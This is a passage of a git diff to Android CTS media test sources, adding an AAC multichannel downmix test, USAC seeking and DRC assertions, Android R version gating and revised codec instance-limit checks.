+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.DecoderTest.AudioParameter;
+import android.media.cts.R;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+
+public class DecoderTestAacFormat {
+ private static final String TAG = "DecoderTestAacFormat";
+
+ private static final boolean sIsAndroidRAndAbove =
+ ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+ private Resources mResources;
+
+ @Before
+ public void setUp() throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ assertNotNull(inst);
+ mResources = inst.getContext().getResources();
+ }
+
+ /**
+ * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
+ */
+ @Test
+ public void testHeAacM4aMultichannelDownmix() throws Exception {
+ Log.i(TAG, "START testDecodeHeAacMcM4a");
+
+ if (!MediaUtils.check(sIsAndroidRAndAbove, "M-chan downmix fixed in Android R"))
+ return;
+
+ // array of multichannel resources with their expected number of channels without downmixing
+ int[][] samples = {
+ // {resourceId, numChannels},
+ {R.raw.noise_5ch_48khz_aot5_dr_sbr_sig1_mp4, 5},
+ {R.raw.noise_6ch_44khz_aot5_dr_sbr_sig2_mp4, 6},
+ };
+ for (int[] sample: samples) {
+ for (String codecName : DecoderTest.codecsFor(sample[0] /* resource */, mResources)) {
+ // verify correct number of channels is observed without downmixing
+ AudioParameter chanParams = new AudioParameter();
+ decodeUpdateFormat(codecName, sample[0] /*resource*/, chanParams, 0 /*no downmix*/);
+ assertEquals("Number of channels differs for codec:" + codecName,
+ sample[1], chanParams.getNumChannels());
+
+ // verify correct number of channels is observed when downmixing to stereo
+ AudioParameter downmixParams = new AudioParameter();
+ decodeUpdateFormat(codecName, sample[0] /* resource */, downmixParams,
+ 2 /*stereo downmix*/);
+ assertEquals("Number of channels differs for codec:" + codecName,
+ 2, downmixParams.getNumChannels());
+
+ }
+ }
+ }
+
+ /**
+ *
+ * @param decoderName
+ * @param testInput
+ * @param audioParams
+ * @param downmixChannelCount 0 if no downmix requested,
+ * positive number for number of channels in requested downmix
+ * @throws IOException
+ */
+ private void decodeUpdateFormat(String decoderName, int testInput, AudioParameter audioParams,
+ int downmixChannelCount)
+ throws IOException
+ {
+ AssetFileDescriptor testFd = mResources.openRawResourceFd(testInput);
+
+ MediaExtractor extractor = new MediaExtractor();
+ extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+ testFd.getLength());
+ testFd.close();
+
+ assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+ MediaFormat format = extractor.getTrackFormat(0);
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ assertTrue("not an audio file", mime.startsWith("audio/"));
+
+ MediaCodec decoder;
+ if (decoderName == null) {
+ decoder = MediaCodec.createDecoderByType(mime);
+ } else {
+ decoder = MediaCodec.createByCodecName(decoderName);
+ }
+
+ MediaFormat configFormat = format;
+ if (downmixChannelCount > 0) {
+ configFormat.setInteger(
+ MediaFormat.KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT, downmixChannelCount);
+ }
+
+ Log.v(TAG, "configuring with " + configFormat);
+ decoder.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+
+ decoder.start();
+ ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
+ ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
+
+ extractor.selectTrack(0);
+
+ // start decoding
+ final long kTimeOutUs = 5000;
+ MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+ boolean sawInputEOS = false;
+ boolean sawOutputEOS = false;
+ int noOutputCounter = 0;
+ int samplecounter = 0;
+ short[] decoded = new short[0];
+ int decodedIdx = 0;
+ while (!sawOutputEOS && noOutputCounter < 50) {
+ noOutputCounter++;
+ if (!sawInputEOS) {
+ int inputBufIndex = decoder.dequeueInputBuffer(kTimeOutUs);
+
+ if (inputBufIndex >= 0) {
+ ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+ int sampleSize =
+ extractor.readSampleData(dstBuf, 0 /* offset */);
+
+ long presentationTimeUs = 0;
+
+ if (sampleSize < 0) {
+ Log.d(TAG, "saw input EOS.");
+ sawInputEOS = true;
+ sampleSize = 0;
+ } else {
+ samplecounter++;
+ presentationTimeUs = extractor.getSampleTime();
+ }
+ decoder.queueInputBuffer(
+ inputBufIndex,
+ 0 /* offset */,
+ sampleSize,
+ presentationTimeUs,
+ sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+ if (!sawInputEOS) {
+ extractor.advance();
+ }
+ }
+ }
+
+ int res = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+
+ if (res >= 0) {
+ if (info.size > 0) {
+ noOutputCounter = 0;
+ }
+
+ int outputBufIndex = res;
+ ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+ if (decodedIdx + (info.size / 2) >= decoded.length) {
+ decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
+ }
+
+ buf.position(info.offset);
+ for (int i = 0; i < info.size; i += 2) {
+ decoded[decodedIdx++] = buf.getShort();
+ }
+
+ decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
+
+ if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ Log.d(TAG, "saw output EOS.");
+ sawOutputEOS = true;
+ }
+ } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+ codecOutputBuffers = decoder.getOutputBuffers();
+ Log.d(TAG, "output buffers have changed.");
+ } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ MediaFormat outputFormat = decoder.getOutputFormat();
+ audioParams.setNumChannels(outputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+ audioParams.setSamplingRate(outputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+ Log.i(TAG, "output format has changed to " + outputFormat);
+ } else {
+ Log.d(TAG, "dequeueOutputBuffer returned " + res);
+ }
+ }
+ if (noOutputCounter >= 50) {
+ fail("decoder stopped outputing data");
+ }
+ decoder.stop();
+ decoder.release();
+ extractor.release();
+ }
+}
+
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 2d66fd1..8536f30 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -32,11 +32,15 @@
import android.media.cts.DecoderTest.AudioParameter;
import android.media.cts.DecoderTestAacDrc.DrcParams;
import android.media.cts.R;
+import android.os.Build;
import android.util.Log;
import android.os.Bundle;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
import org.junit.Before;
import org.junit.Test;
@@ -49,6 +53,9 @@
public class DecoderTestXheAac {
private static final String TAG = "DecoderTestXheAac";
+ private static final boolean sIsAndroidRAndAbove =
+ ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
private Resources mResources;
// list of all AAC decoders as enumerated through the MediaCodecList
@@ -227,6 +234,10 @@
public void testDecodeUsacDrcAlbumModeM4a() throws Exception {
Log.v(TAG, "START testDecodeUsacDrcAlbumModeM4a");
+ // Album mode is R feature
+ if (!MediaUtils.check(sIsAndroidRAndAbove, "Album mode support requires Android R"))
+ return;
+
assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
for (String aacDecName : sAacDecoderNames) {
@@ -358,6 +369,9 @@
public void testDecodeUsacDrcBoostAndAttenuationM4a() throws Exception {
Log.v(TAG, "START testDecodeUsacDrcBoostAndAttenuationM4a");
+ if (!MediaUtils.check(sIsAndroidRAndAbove, "Att/Boost corrected in Android R"))
+ return;
+
assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
for (String aacDecName : sAacDecoderNames) {
@@ -424,6 +438,9 @@
public void testDecodeUsacDrcLoudnessPreferenceM4a() throws Exception {
Log.v(TAG, "START testDecodeUsacDrcLoudnessPreferenceM4a");
+ if (!MediaUtils.check(sIsAndroidRAndAbove, "Loudness preference in Android R"))
+ return;
+
assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
for (String aacDecName : sAacDecoderNames) {
@@ -542,6 +559,38 @@
}
}
+
+ /**
+ * Verify that seeking works correctly for USAC.
+ * Sync samples have to be taken into consideration.
+ */
+ @Test
+ public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
+ Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+
+ assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+ for (String aacDecName : sAacDecoderNames) {
+ try {
+ runDecodeUsacSyncSampleSeekingM4a(aacDecName);
+ } catch (Error err) {
+ throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+ }
+ }
+ }
+
+ private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
+ Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+ // test usac seeking
+ try {
+ checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+ }
+
/**
* Internal utilities
*/
@@ -553,6 +602,10 @@
String effectTypeName, int nCh, int aggressiveDrc, String decoderName)
throws Exception {
for (boolean runtimeChange : new boolean[] {false, true}) {
+ if (runtimeChange && !sIsAndroidRAndAbove) {
+ // changing decoder configuration after it has been initialized requires R and above
+ continue;
+ }
int testinput = -1;
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_def = new DrcParams(127, 127, 96, 0, -1);
@@ -668,12 +721,7 @@
* USAC test DRC Album Mode
*/
private void checkUsacDrcAlbumMode(int testinput, String decoderName) throws Exception {
- for (int i = 0; i <= 1 ; i++) {
- boolean runtimeChange = false;
- if (i == 1) { /* first run: configure decoder before starting decoding,
- second_run: configure decoder at runtime */
- runtimeChange = true;
- }
+ for (boolean runtimeChange : new boolean[] {false, true}) {
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_album_off = new DrcParams(127, 127, 64, 0, 0, 0);
DrcParams drcParams_album_on = new DrcParams(127, 127, 64, 0, 0, 1);
@@ -704,15 +752,14 @@
private void checkUsacDrcBoostAndAttenuation(float normFactor_L, float normFactor_R,
int boostFactor, int attenuationFactor,
int nCh, String decoderName) throws Exception {
- for (int i = 0; i <= 1 ; i++) {
+ for (boolean runtimeChange : new boolean[] {false, true}) {
+ if (runtimeChange && !sIsAndroidRAndAbove) {
+ // changing decoder configuration after it has been initialized requires R and above
+ continue;
+ }
int testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
- boolean runtimeChange = false;
- if (i == 1) { /* first run: configure decoder before starting decoding,
- second_run: configure decoder at runtime */
- runtimeChange = true;
- }
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_def = new DrcParams(127, 127, 64, 0, 6);
DrcParams drcParams_test = new DrcParams(boostFactor, attenuationFactor, 64, 0, 6);
@@ -770,12 +817,7 @@
*/
private void checkUsacDrcOutputLoudness(int testInput, int decoderTargetLevel,
int expectedOutputLoudness, String decoderName) throws Exception {
- for (int i = 0; i <= 1 ; i++) {
- boolean runtimeChange = false;
- if (i == 1) { /* first run: configure decoder before starting decoding,
- second_run: configure decoder at runtime */
- runtimeChange = true;
- }
+ for (boolean runtimeChange : new boolean[] {false, true}) {
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
@@ -786,6 +828,17 @@
}
}
+ private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
+
+ AudioParameter decParams = new AudioParameter();
+ DrcParams drcParams_def = new DrcParams();
+
+ short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
+ drcParams_def, decoderName, false, -2, true, 1100000,
+ MediaExtractor.SEEK_TO_NEXT_SYNC);
+ float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
+ }
+
/**
* Perform a segmented energy analysis on given audio signal samples and run several tests on
* the energy values.
@@ -1158,14 +1211,20 @@
* @param drcParams the MPEG-D DRC decoder parameter configuration
* @param decoderName if non null, the name of the decoder to use for the decoding, otherwise
* the default decoder for the format will be used
- * @param runtimeChange defines whether the decoder is configured at runtime or not
+ * @param runtimeChange defines whether the decoder is configured at runtime or configured
+ * before starting to decode
* @param expectedOutputLoudness value to check if the correct output loudness is returned
* by the decoder
+ * @param seek_enable defines whether there will be an initial seek
+ * @param seek_duration seeking duration in microseconds
+ * @param seek_mode seeking mode
+ *
* @throws RuntimeException
*/
public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
- int expectedOutputLoudness) throws IOException {
+ int expectedOutputLoudness,
+ boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
// TODO: code is the same as in DecoderTest, differences are:
// - addition of application of DRC parameters
// - no need/use of resetMode, configMode
@@ -1223,7 +1282,7 @@
Log.v(localTag, "configuring with " + configFormat);
codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
- if (drcParams != null) {
+ if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
if(!runtimeChange) {
if (drcParams.mAlbumMode != 0) {
int albumModeFromCodec = codec.getOutputFormat()
@@ -1274,6 +1333,12 @@
extractor.selectTrack(0);
+ // execute initial seeking if specified
+ if (seek_enable) {
+ codec.flush();
+ extractor.seekTo(seek_duration, seek_mode);
+ }
+
// start decoding
final long kTimeOutUs = 5000;
MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
@@ -1374,38 +1439,40 @@
}
// check if MediaCodec gives back correct drc parameters
- if (drcParams != null) {
+ if (drcParams != null && sIsAndroidRAndAbove) {
if (drcParams.mAlbumMode != 0) {
final int albumModeFromCodec = codec.getOutputFormat()
.getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
- if (false) { // TODO disabled until b/157773721 fixed
- if (albumModeFromCodec != drcParams.mAlbumMode) {
- fail("Drc AlbumMode received from MediaCodec is not the Album Mode set");
- }
- }
+ assertEquals("DRC AlbumMode received from MediaCodec is not the Album Mode set"
+ + " runtime:" + runtimeChange, drcParams.mAlbumMode, albumModeFromCodec);
}
if (drcParams.mEffectType != 0) {
final int effectTypeFromCodec = codec.getOutputFormat()
.getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
- if (false) { // TODO disabled until b/157773721 fixed
- if (effectTypeFromCodec != drcParams.mEffectType) {
- fail("Drc Effect Type received from MediaCodec is not the Effect Type set");
- }
- }
+ assertEquals("DRC Effect Type received from MediaCodec is not the Effect Type set"
+ + " runtime:" + runtimeChange, drcParams.mEffectType, effectTypeFromCodec);
}
if (drcParams.mDecoderTargetLevel != 0) {
final int targetLevelFromCodec = codec.getOutputFormat()
.getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
- if (false) { // TODO disabled until b/157773721 fixed
- if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
- fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
- }
- }
+ assertEquals("DRC Target Ref Level received from MediaCodec is not the level set"
+ + " runtime:" + runtimeChange,
+ drcParams.mDecoderTargetLevel, targetLevelFromCodec);
}
+
+ final MediaFormat outputFormat = codec.getOutputFormat();
+ final int cutFromCodec = outputFormat.getInteger(
+ MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+ assertEquals("Attenuation factor received from MediaCodec differs from set:",
+ drcParams.mCut, cutFromCodec);
+ final int boostFromCodec = outputFormat.getInteger(
+ MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+ assertEquals("Boost factor received from MediaCodec differs from set:",
+ drcParams.mBoost, boostFromCodec);
}
// expectedOutputLoudness == -2 indicates that output loudness is not tested
- if (expectedOutputLoudness != -2) {
+ if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
final int outputLoudnessFromCodec = codec.getOutputFormat()
.getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
if (outputLoudnessFromCodec != expectedOutputLoudness) {
@@ -1423,7 +1490,7 @@
throws IOException
{
final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
- drcParams, decoderName, false, -2);
+ drcParams, decoderName, false, -2, false, 0, 0);
return decoded;
}
@@ -1433,9 +1500,18 @@
throws IOException
{
final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
- drcParams, decoderName, runtimeChange, -2);
+ drcParams, decoderName, runtimeChange, -2, false, 0, 0);
return decoded;
}
+ private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+ int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+ boolean runtimeChange, int expectedOutputLoudness)
+ throws IOException
+ {
+ short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
+ decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
+ return decoded;
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index 0501452..537e606 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -34,6 +34,8 @@
import android.util.Log;
import androidx.test.filters.SmallTest;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
import com.android.compatibility.common.util.PropertyUtil;
@@ -151,6 +153,13 @@
"65 79 69 6e 74 5f 6d 69 6e 3d 32 35 20 73 63 65" +
"6e 65 " ;
+ // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUse,
+ // then adopt it from shell.
+ public void setUp() throws Exception {
+ InstrumentationRegistry
+ .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+ }
+
/**
* Test that all enumerated CA systems can be instantiated.
*
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 58eec3e..f6ac4f7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -59,6 +59,7 @@
/**
* MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
*/
+@NonMediaMainlineTest
public class MediaCodecBlockModelTest extends AndroidTestCase {
private static final String TAG = "MediaCodecBlockModelTest";
private static final boolean VERBOSE = false; // lots of logging
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index d17e702..7e75fb7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -35,7 +35,6 @@
import static android.media.MediaFormat.MIMETYPE_VIDEO_VP9;
import android.media.MediaPlayer;
import android.os.Build;
-import android.os.SystemProperties;
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Range;
@@ -697,6 +696,7 @@
private int getActualMax(
boolean isEncoder, String name, String mime, CodecCapabilities caps, int max) {
int flag = isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
+ boolean memory_limited = false;
MediaFormat format = createMinFormat(mime, caps);
Log.d(TAG, "Test format " + format);
Vector<MediaCodec> codecs = new Vector<MediaCodec>();
@@ -716,6 +716,7 @@
am.getMemoryInfo(outInfo);
if (outInfo.lowMemory) {
Log.d(TAG, "System is in low memory condition, stopping. max: " + i);
+ memory_limited = true;
break;
}
} catch (IllegalArgumentException e) {
@@ -745,6 +746,10 @@
codecs.get(i).release();
}
codecs.clear();
+ // encode both actual max and whether we ran out of memory
+ if (memory_limited) {
+ actualMax = -actualMax;
+ }
return actualMax;
}
@@ -773,13 +778,20 @@
}
public void testGetMaxSupportedInstances() {
- final int MAX_INSTANCES = 32;
StringBuilder xmlOverrides = new StringBuilder();
MediaCodecList allCodecs = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ final boolean isLowRam = ActivityManager.isLowRamDeviceStatic();
for (MediaCodecInfo info : allCodecs.getCodecInfos()) {
Log.d(TAG, "codec: " + info.getName());
Log.d(TAG, " isEncoder = " + info.isEncoder());
+ // don't bother testing aliases
+ if (info.isAlias()) {
+ Log.d(TAG, "skipping: " + info.getName() + " is an alias for " +
+ info.getCanonicalName());
+ continue;
+ }
+
String[] types = info.getSupportedTypes();
for (int j = 0; j < types.length; ++j) {
if (!knownTypes(types[j])) {
@@ -788,14 +800,55 @@
}
Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
CodecCapabilities caps = info.getCapabilitiesForType(types[j]);
- int max = caps.getMaxSupportedInstances();
- Log.d(TAG, "getMaxSupportedInstances returns " + max);
- assertTrue(max > 0);
+ int advertised = caps.getMaxSupportedInstances();
+ Log.d(TAG, "getMaxSupportedInstances returns " + advertised);
+ assertTrue(advertised > 0);
+ // see how well the declared max matches against reality
+
+ int tryMax = isLowRam ? 16 : 32;
+ int tryMin = isLowRam ? 4 : 16;
+
+ int trials = Math.min(advertised + 2, tryMax);
int actualMax = getActualMax(
- info.isEncoder(), info.getName(), types[j], caps, MAX_INSTANCES);
- Log.d(TAG, "actualMax " + actualMax + " vs reported max " + max);
- if (actualMax < (int)(max * 0.9) || actualMax > (int) Math.ceil(max * 1.1)) {
+ info.isEncoder(), info.getName(), types[j], caps, trials);
+ Log.d(TAG, "actualMax " + actualMax + " vs advertised " + advertised
+ + " tryMin " + tryMin + " tryMax " + tryMax);
+
+ boolean memory_limited = false;
+ if (actualMax < 0) {
+ memory_limited = true;
+ actualMax = -actualMax;
+ }
+
+ boolean compliant = true;
+ if (info.isHardwareAccelerated()) {
+ // very specific bounds for HW codecs
+ // so the adv+2 above is to see if the HW codec lets us go beyond adv
+ // (it should not)
+ if (actualMax != Math.min(advertised, tryMax)) {
+ Log.d(TAG, "NO: hwcodec " + actualMax + " != min(" + advertised +
+ "," + tryMax + ")");
+ compliant = false;
+ }
+ } else {
+ // sw codecs get a little more relaxation due to memory pressure
+ if (actualMax >= Math.min(advertised, tryMax)) {
+ // no memory issues, and we allocated them all
+ Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+ "," + tryMax + ")");
+ } else if (actualMax >= Math.min(advertised, tryMin) &&
+ memory_limited) {
+ // memory issues, but we hit our floors
+ Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+ "," + tryMin + ") + memory limited");
+ } else {
+ Log.d(TAG, "NO: swcodec didn't meet criteria");
+ compliant = false;
+ }
+ }
+
+ if (!compliant) {
String codec = "<MediaCodec name=\"" + info.getName() +
"\" type=\"" + types[j] + "\" >";
String limit = " <Limit name=\"concurrent-instances\" max=\"" +
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index f648a3c..6438cd0 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -27,6 +27,9 @@
import android.platform.test.annotations.Presubmit;
import android.util.Base64;
import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
import android.view.Surface;
import com.android.compatibility.common.util.ApiLevelUtil;
@@ -115,6 +118,10 @@
if (false == deviceHasMediaDrm()) {
tearDown();
}
+ // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUse in
+ // MediaCas, then adopt it from shell.
+ InstrumentationRegistry
+ .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
}
@Override
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 42c9f29..48208d9 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -599,14 +599,20 @@
}
public void testThumbnailVP9Hdr() {
+ if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
testThumbnail(R.raw.video_1280x720_vp9_hdr_static_3mbps, 1280, 720);
}
public void testThumbnailAV1Hdr() {
+ if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
testThumbnail(R.raw.video_1280x720_av1_hdr_static_3mbps, 1280, 720);
}
public void testThumbnailHDR10() {
+ if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
testThumbnail(R.raw.video_1280x720_hevc_hdr10_static_3mbps, 1280, 720);
}
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 238da0b..48466d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -17,6 +17,7 @@
package android.media.cts;
import static android.content.Context.AUDIO_SERVICE;
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
import static android.media.cts.StubMediaRoute2ProviderService.FEATURES_SPECIAL;
import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
@@ -90,6 +91,9 @@
private static final String TEST_VALUE = "test_value";
private static final RouteDiscoveryPreference EMPTY_DISCOVERY_PREFERENCE =
new RouteDiscoveryPreference.Builder(Collections.emptyList(), false).build();
+ private static final RouteDiscoveryPreference LIVE_AUDIO_DISCOVERY_PREFERENCE =
+ new RouteDiscoveryPreference.Builder(
+ Collections.singletonList(FEATURE_LIVE_AUDIO), false).build();
@Before
public void setUp() throws Exception {
@@ -124,10 +128,16 @@
@Test
public void testGetRoutesAfterCreation() {
- List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
- assertFalse(initialRoutes.isEmpty());
- for (MediaRoute2Info route : initialRoutes) {
- assertTrue(route.isSystemRoute());
+ RouteCallback routeCallback = new RouteCallback() {};
+ mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
+ try {
+ List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
+ assertFalse(initialRoutes.isEmpty());
+ for (MediaRoute2Info route : initialRoutes) {
+ assertTrue(route.getFeatures().contains(FEATURE_LIVE_AUDIO));
+ }
+ } finally {
+ mRouter2.unregisterRouteCallback(routeCallback);
}
}
@@ -138,18 +148,13 @@
public void testGetRoutes() throws Exception {
Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURES_SPECIAL);
- int systemRouteCount = 0;
int remoteRouteCount = 0;
for (MediaRoute2Info route : routes.values()) {
- if (route.isSystemRoute()) {
- systemRouteCount++;
- } else {
+ if (!route.isSystemRoute()) {
remoteRouteCount++;
}
}
- // Can be greater than 1 if BT devices are connected.
- assertTrue(systemRouteCount > 0);
assertEquals(1, remoteRouteCount);
assertNotNull(routes.get(ROUTE_ID_SPECIAL_FEATURE));
}
@@ -280,6 +285,8 @@
final CountDownLatch successLatch2 = new CountDownLatch(1);
final CountDownLatch failureLatch = new CountDownLatch(1);
final CountDownLatch stopLatch = new CountDownLatch(1);
+ final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
final List<RoutingController> createdControllers = new ArrayList<>();
// Create session with this route
@@ -306,6 +313,16 @@
}
};
+ StubMediaRoute2ProviderService service = mService;
+ if (service != null) {
+ service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+ @Override
+ public void onReleaseSession(long requestId, String sessionId) {
+ onReleaseSessionLatch.countDown();
+ }
+ });
+ }
+
Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
MediaRoute2Info route1 = routes.get(ROUTE_ID1);
MediaRoute2Info route2 = routes.get(ROUTE_ID2);
@@ -332,15 +349,19 @@
RoutingController controller1 = createdControllers.get(0);
RoutingController controller2 = createdControllers.get(1);
- // The first controller is expected to be released.
- assertTrue(controller1.isReleased());
-
assertNotEquals(controller1.getId(), controller2.getId());
assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
ROUTE_ID1));
assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
ROUTE_ID2));
+ // Transferred controllers shouldn't be obtainable.
+ assertFalse(mRouter2.getControllers().contains(controller1));
+ assertTrue(mRouter2.getControllers().contains(controller2));
+
+ // Should be able to release transferred controllers.
+ controller1.release();
+ assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
} finally {
releaseControllers(createdControllers);
mRouter2.unregisterRouteCallback(routeCallback);
@@ -996,8 +1017,7 @@
}
};
- mRouter2.registerRouteCallback(mExecutor, routeCallback,
- new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
+ mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
try {
mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
